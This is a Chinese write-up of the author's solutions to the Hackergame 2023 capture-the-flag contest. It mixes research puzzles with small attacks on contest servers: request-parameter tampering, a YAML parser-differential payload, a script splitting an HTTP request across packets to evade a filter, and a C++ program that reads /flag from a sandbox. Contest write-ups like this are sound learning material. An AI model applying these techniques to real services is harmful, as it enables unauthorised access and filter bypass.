一些不适合出现在官方仓库的废话部分被转移到了 https://blog.hanlin.press/2023/11/hackergame-writeup-2023/ ，欢迎赏脸关注（
因为爆出来的都是简单题（且很多包含运气成分），所以有些不好截图的地方也不详细写了，出题人肯定写得比我详细，Writeup 大体上以做题顺序排列。
按照 Hackergame 签到题的一贯尿性，进网页直接 F12 看请求。点提交按钮后注意到 https://cnhktrz3k5nc.hack-challenge.lug.ustc.edu.cn:13202/?similarity=
尝试改为 similarity=1 后：
盲猜没校验，直接 similarity=1000 ，完成
F12， 启动！
Ctrl + F 搜索，启动！
跳过猫咪小测直接来这题，抢到一血了，开心。
想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》，应当前往中国科学技术大学西区图书馆的哪一层？（30 分）
提示：是一个非负整数。
-
书目检索系统：<http://opac.lib.ustc.edu.cn/ ，用书名搜索后馆藏如下，由题意锁定西区外文书库。
-
去科大图书馆的馆藏分布 ，可得知各书库的具体位置。
12.
今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文，请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距？（30 分）
提示：是一个非负整数。
Google Bard ，启动！
典型的AI幻觉，但是出现了正确的文章名。
到 arxiv 去搜，看到了 https://arxiv.org/abs/2303.17626
高中阅读理解环节，得答案 23 .
- 为了支持 TCP BBR 拥塞控制算法，在编译 Linux 内核时应该配置好哪一条内核选项？（20 分） 提示：输入格式为 CONFIG_XXXXX，如 CONFIG_SCHED_SMT。
去 GitHub 爆搜源码。
https://github.com/search?q=repo%3Atorvalds%2Flinux%20config%20bbr&type=code
CONFIG_TCP_CONG_BBR .
- 🥒🥒🥒：「我……从没觉得写类型标注有意思过」。在一篇论文中，作者给出了能够让 Python 的类型检查器
MyPYmypy 陷入死循环的代码，并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上？（20 分） 提示：会议的大写英文简称，比如 ISCA、CCS、ICML。
直接上图：
https://drops.dagstuhl.de/opus/volltexte/2023/18237/pdf/LIPIcs-ECOOP-2023-44.pdf
ECOOP.
常规 SSTV 题，推荐使用 RX-SSTV ，笔记本扬声器外放即可解码。
flag{SSssTV_y0u_W4NNa_HaV3_4_trY}
题面描述谷歌的『亲儿子』和连系统都没心思升级直接激发了 DNA，去搜了搜相关新闻。
得到一个工具 https://acropalypse.app/ ，传上截图。题面说是老手机，所以直接往最老的（Pixel 3）选。
flag{sh1nj1ru_k0k0r0_4nata_m4h0}
正解看官方题解，我是用 Python requests 的大sb（
import requests
import json
import re
import time
sess = requests.Session()
sess.get(
"http://202.38.93.111:10021/api/checkToken?token="
)
# remember to modify it
# getMessage
mess = sess.post("http://202.38.93.111:10021/api/getMessages").json()
servertime_obj = time.strptime(mess["server_starttime"], "%Y-%m-%dT%H:%M:%S.%f%z")
servertime = int(round(time.mktime(servertime_obj) * 1000.0)) + 28800050
# print(servertime)
id = 0
totaldelay = 0
for i in mess["messages"]:
totaldelay = int(float(i["delay"]) * 1000)
nowtime = int(time.time() * 1000)
# print(int(servertime) + totaldelay)
print(
"{} + {} = {} : {}".format(
servertime, totaldelay, servertime + totaldelay, nowtime
)
)
if servertime + totaldelay > nowtime:
# print((servertime + totaldelay - nowtime))
time.sleep((servertime + totaldelay - nowtime) / 1000)
if re.search("hack\[.*\]", i["text"]):
payload = {
"id": id,
}
hders = {"Content-Type": "application/json"}
print(
sess.post(
"http://202.38.93.111:10021/api/deleteMessage",
headers=hders,
data=json.dumps(payload),
).text
)
id += 1
print(sess.post("http://202.38.93.111:10021/api/getflag").text)
flag{Web_pr0gra_mm1ng_b3ca854fa9_15fun}
井字棋本身没坑，但以正常思维对抗的话，最多平局。
F12 右键相关请求可以复制 fetch，在隔壁 console 改起来很容易。
注意到输入没做校验，可以把对方下的棋覆盖。
请求里改一个坐标，结束。
和前面某一年 git push -f 那题区别开来，这题没 flush 掉分支，只是没推送。
查看 .git/logs/ref/heads/main 发现中间有一条疑似 commit：
<[email protected]> 1698306875 +0800 clone: from https://github.com/dair-ai/ML-Course-Notes.git
15fd0a13eb46c39f34cfc0dfb4757ad23a23d026 505e1a3f446c23f31807a117e860f57cb5b5bb79 some_english_postgraduate <[email protected]> 1698307060 +0800 commit: Trim trailing spaces
505e1a3f446c23f31807a117e860f57cb5b5bb79 15fd0a13eb46c39f34cfc0dfb4757ad23a23d026 some_english_postgraduate <[email protected]> 1698307092 +0800 reset: moving to HEAD~
15fd0a13eb46c39f34cfc0dfb4757ad23a23d026 ea49f0cd3d36edb2965f89581b11151959d20991 some_english_postgraduate <[email protected]> 1698307103 +0800 commit: Trim trailing spaces
git checkout 505e1a3f446c23f31807a117e860f57cb5b5bb79，可在主文件中见到 flag .
这一幕我自己品鉴过了，privileged 啥都能干，端下去吧。
兜兜转转回到了这道题，快到的饭点和手机上的红色软件为这道题埋下了伏笔。
- 上午：小柴昌俊 的诺贝尔奖牌 -> 地点在 东京大学 附近。
- 中午：
- 图一：最前方最显眼的吊牌「STATPHYS28」-> https://statphys28.org/
- 图二：在东京大学附近按谷歌卫星地图与街景搜索，基本上锁定上野公园。
因题面中提到了学长的学术之旅，因此接下来重点关注图二的 STATPHYS28。打开主页，留意到：
-
首页时间：2023 年 8 月 7 日-11 日，锁定第一题时间范围。
-
On-site 地点：东京大学，与前文推断信息吻合。
-
News 栏Participant Instruction: On-site Presentation Instruction 得知 On-site 地点 Yasuda Auditorium 即 安田讲堂 ，锁定第五题。
再回头看诺贝尔奖牌，按照人肉搜索法找到了康斯坦丁·诺沃肖洛夫 ，但是不知道曼彻斯特大学研究所简称，这条线暂时中断。
接下来打算动一点社工的方法，去 B 站找点旅游视频，看看能不能漏点相关情报。
首先发现上野公园旁边有上野动物园和东京国立博物馆：
然后发现了上野站的吉祥物是熊猫。
以上是答案猜测，完赛后在群里交流才发现这题的关键字可以直接在 Twitter 上搜到，挺亏的。
线索又一次停滞，到饭点了，出门买饭。去小红书上一搜关键词，大开眼界：
回到小红书首页，这条视频出现在了首页。
抱着试试看的心态填上了第 5-6 题，过了，我超！
不懂日文又忽视了小红书的潜质，痛定思痛的我决定来小红书抽奖：
https://www.xiaohongshu.com/explore/64c8eb40000000000800c394
得知八月第一个活动，以「全国梅酒まつりin東京2023」为关键词回谷歌搜索，找到主页，向下翻，看到了「Staff 募集」：https://umeshu-matsuri.jp/tokyo_staff/ ，得到问卷编号 [S495584522](https://ws.formzu.net/dist/S495584522/)
来到东京国立博物馆网站，直奔Tickets：https://www.tnm.jp/modules/r_free_page/index.php?id=113#ticket
三个数都试一遍，原本以为是 500 ，结果发现是 0.
第一问的日期也基本上锁定，继续回小红书抽奖：
填上 ICRR ，过了，感谢小红书。
后记：跌跌撞撞过了后发了条频道庆祝下，惊动了某个 Staff.
整体做题方法：没基础，去 Hackernews 看骂战，看了半天没结果。
最终还是 https://stackoverflow.com/questions/21584985/what-valid-json-files-are-not-valid-yaml-1-1-files 说明了一切。
-
YAML 1.1：浮点数解析差异
-
YAML 1.2：不允许出现重复的 key
二合一即可得到一穿二的 payload：
{"233": 12345e999, "233": 12345e999}
后记：听说YAML 的 key 长度长了也不行，结果塞进去后发现 Python 先报错了。
因为只碰出 12 个状态码，还挺失败的，这题直接看 官方题解 吧。
因为代码逻辑非常清晰，所以这题是水课的时候静态分析的。
由 get_cod_dict 里的 check_equals 和主函数中的 decrypt_data 逻辑综合分析，得出 cod_dict 中的每一组应为 24 长度。
于是尝试对原始数据进行「反惜字如金」化处理：
- 首先去除所有
check_equals校验，将cod_dict后每行加上e - 参考
decrypt_data所在坐标，尝试将flag{和}与原始数据对齐。- 对齐方式：逐字符对齐，判断偏移关系。
- 通过「在整行后加e」与「在目标字符前加字符」来操作目标字符的位移。
- 每行的改动不超过1字符。
改动后的原始数据：
nymeh1niwemflcir}echaete a3g7}kidgojernoetlsup?he ullw!f5soadrhwnrsnstnoeq ctt{l-findiehaai{oveatas ty9kxborsszstguyd?!blm-p
def get_cod_dict():
# prepar th cod dict
cod_dict = []
cod_dict += ['nymeh1niwemflcir}echaete']
cod_dict += ['a3g7}kidgojernoetlsup?he']
cod_dict += ['ullw!f5soadrhwnrsnstnoeq']
cod_dict += ['ctt{l-findiehaai{oveatas']
cod_dict += ['ty9kxborsszstguyd?!blm-p']
check_equals(set(len(s) for s in cod_dict), {24})
return ''.join(cod_dict)运行后可得 flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}
搜索得 asciinema 存在 cat 功能，可以无视时间序列一口气输出全部数据。
直接 asciinema cat asciinema_restore.rec > 1111.js 发现还有控制符没删。
本着不重复造轮子的原则，在 Gitlab 找到个神器 ANSIFILTER ，还进了包，apt install 即装即用。
接下来进入半人工半自动流程：
首先粗加工一遍：
asciinema cat asciinema_restore.rec | ansifilter > parsed.js然后找到一个带语法高亮和检查的编辑器，比如装好扩展和 clang-format 的 VS Code。
去掉头尾的无用信息，留下中间的 js 部分。会发现有一大串报错，多半是控制符没删干净导致的。
以纯文本方式打开 asciinema_restore.rec ，通过搜索确定报错代码原位置，直接把多出来的字符删除。
在每次替换为空后保存并重新运行格式化，检查下一处报错，如此操作，直到报错全部消失，代码正常格式化为止。
在实践中，我删掉了ESESC[6~，一个 ~ 和若干 6~ ，最终顺利消除全部报错。
运行 node parsed.js ，得到 flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371}
第一题使用 tinypng.com 压缩，即可获得 Flag flag{A1ot0f_t0015_is_available_to_compre55_PNG}.
第二题手操了一遍发现 svg 也不好满足要求，放弃。
第一段长度限制极宽松，所以我直接去找了训练集。
https://huggingface.co/datasets/roneneldan/TinyStories
在 TinyStories-train.txt 中 以 you are smart 为关键词搜索，并将其前面的文段粘贴进去验证。
很容易就能找到一段 flag{1-7hink-y0U-4R3-rEAllY-rE4lly-SmARt}：
"You are a brave girl, Lily. You are not silly,
第二段因为长度较短也比较好猜，只是我水课上试出来个 accept* 直接爆了flag{y0U-are-ACcEP7ed-7O-c0NTiNuE-TH3-G4m3}：
因为官方环境限频率，所以拖下环境来本地搭了个脚手架，把代码附上：
from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfig
from tqdm import tqdm, trange
model = AutoModelForCausalLM.from_pretrained("../TinyStories-33M").eval()
tokenizer = AutoTokenizer.from_pretrained("../TinyStories-33M")
def get(prompt):
input_ids = tokenizer.encode(prompt, return_tensors="pt")
print(tokenizer.tokenize(prompt))
output = model.generate(input_ids, max_length = len(prompt)+30, num_beams=1, pad_token_id=tokenizer.eos_token_id)
output_text = tokenizer.decode(output[0], skip_special_tokens=True)
print(output_text)
return output_text
while True:
s = input("> ")
get(s)因为已知流式文件被删去了一小段，就写了段三脚猫 C++， 直接爆破可能的 pad 和分辨率：
#include <cstdio>
#include <iostream>
#include <vector>
using namespace std;
const unsigned long long fsize = 135146688;
vector<unsigned long long> libpad, libheight, libwidth;
int main() {
unsigned long long pad = 0;
unsigned long long height = 1;
unsigned long long width = 1;
for (pad = 0; pad <= 100; pad++) {
for (height = 100; height <= 2000; height++) {
for (width = 100; width <= 2000; width++) {
if ((pad + fsize) % (height * width * 3) == 0) {
unsigned long long frame =
(pad + fsize) / (height * width * 3);
if (frame > 1 && frame <= 100) {
libpad.push_back(pad);
libheight.push_back(height);
libwidth.push_back(width);
}
}
}
}
}
for (auto i : libpad) {
cout << i << ",";
}
cout << endl;
for (auto i : libheight) {
cout << i << ",";
}
cout << endl;
for (auto i : libwidth) {
cout << i << ",";
}
cout << endl;
return 0;
}C++ 的输出直接复制到隔壁 Python ，吐每一个爆破结果的第 5 帧：
import cv2
import numpy as np
import random
from tqdm import tqdm, trange
libpad = [0,0,0,0,0,0,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,93,93,93,93,93,93,93,93,93,93,93,93,93,93,93,93,93,93]
libheight = [409,818,1636,1721,1721,1721,349,461,461,698,698,922,922,922,1396,1396,1745,1745,1745,1844,1844,1844,342,402,603,603,684,804,983,983,983,983,983,1206,1206,1273,1273,1966,1966,1966,1966,1966,417,417,427,483,671,759,973,973,973,1281,1403,1403,1403,1529,1529,1529,1529,1771]
libweight = [1721,1721,1721,409,818,1636,1844,1396,1745,922,1844,698,1396,1745,461,922,461,922,1844,349,698,1745,1966,1966,983,1966,983,983,603,684,804,1206,1273,983,1966,983,1966,342,402,603,1206,1273,1403,1771,1529,1529,973,973,671,759,1403,1529,417,973,1529,427,483,1281,1403,417]
def extract_video(file):
buffer = np.fromfile(file, dtype=np.uint8)
lenlib = len(libpad)
picPath = "pics-batch"
for i in trange(lenlib):
ht = libheight[i]
wd = libweight[i]
pad = libpad[i]
frame_count = (len(buffer) + pad) // (ht * wd * 3)
backup = buffer.copy()
backup = np.pad(backup, (0, pad), mode="constant")
backup = backup.reshape((frame_count, ht, wd, 3))
backup = backup.astype(np.uint8)
cv2.imwrite(f"{picPath}/{ht}-{wd}-{pad}.jpg", backup[5])
if __name__ == "__main__":
with open("video.bin", "rb") as input:
extract_video(input)然后直接使用人眼观测法 找看着最顺眼的：
当时选中了 1529-427-93.jpg，直接把参数抄回去导图片：
def extract_video(file):
buffer = np.fromfile(file, dtype=np.uint8)
ht = 1529
wd = 427
pad = 93
frame_count = (len(buffer) + pad) // (ht * wd * 3)
buffer = np.pad(buffer, (0, pad), mode="constant")
buffer = buffer.reshape((frame_count, ht, wd, 3))
buffer = buffer.astype(np.uint8)
picPath = "pics"
for i in range(frame_count):
print(f"Writing frame {i}")
cv2.imwrite(f"{picPath}/frame{i}.jpg", buffer[i])
深夜做这个给气笑了：
flag{it-could-be-easy-to-restore-video-with-haruhikage-even-without-metadata-0F7968CC}
问了问 GPT ，GPT 说把数据包切分开来发出去就行。
好像还因为非预期解把第二问给爆了，详见官方题解吧。
import socket
import time
server_ip = "202.38.93.111"
server_port = 18080
# server_port = 18081
token = ""
post_part1 = "PO"
post_part2 = "ST / HTTP/1.1\r\n"
post_part2 += "Host: {}\r\n".format(server_ip)
post_part2 += "Content-Type: application/x-www-form-urlencoded\r\n"
post_part2 += "Content-Length: {}\r\n\r\n".format(len(token))
post_part2 += str(token)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server_ip, server_port))
try:
# Send the first part of the "POST" method
s.sendall(post_part1.encode())
time.sleep(1)
# Send the rest of the request
s.sendall(post_part2.encode())
# Receive the response
response = s.recv(4096)
print(response.decode())
finally:
s.close()听说因为 @taoky 老师没删干净库调用，被有些人钻了空子（popen）当非预期解爆了。
而我的非预期解显得更加离谱：
#include <algorithm>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <iostream>
using namespace std;
int main() {
ifstream infile;
infile.open("/flag");
cout << infile.rdbuf() << endl;
return 0;
}
啊？
有趣的手算模拟题，理解地图需要明白两个事：
-
机器状态被微型处理器通过开关控制。
-
微型处理器可以进行逻辑运算与判断。
理解了这些，就可以在平板上手算了。
要想让 generator1 启用（即不发生跳转），前面的所有条件必须一起反选。
得序列 10100101
更复杂的逻辑推断，因为不想再经历一遍所以直接上做题笔记。
得序列 11000100
需要强调的点：
- 题目询问的是最终序列，开关顺序和中间状态都是不重要的。
- 让反应堆稳定运行：有能源、有散热（冷冻液）
- 有冷冻液的条件：冷冻液混合器里有输入、有电
因此：
- 需要左侧输送带正常运行、右侧输送带未被切断 ：
sw1 = 1、sw2 = 0 - 反应堆正常运行：
sw3=0（注意一开始调试时应为1，防止反应堆没有散热自己炸掉） - 水和反应液不能流掉：
sw4=0 - 正常分解产生冷冻液：两台机器开启 ->
sw5=1、sw6=1 - 熔毁炮塔不能启用，否则会耗尽电量导致无法散热：
sw7=0 sw8=0以防不能打开的机器被打开。
得序列 10001100
观察到电量输出为左下角，故建议从左下角逆向推导。
每一个小块与组合逻辑的思想类似，注意操作的时候有延迟。
更详细的参考官方题解 吧。
得序列 01110111
最终序列：10100101 11000100 10001100 01110111
仍旧是感谢 Miscgame 让我能够在今年拥有一个在榜上的参与感，就是这几天光打 Hackergame ，只有一天出了勤还掉了 50 名，难受。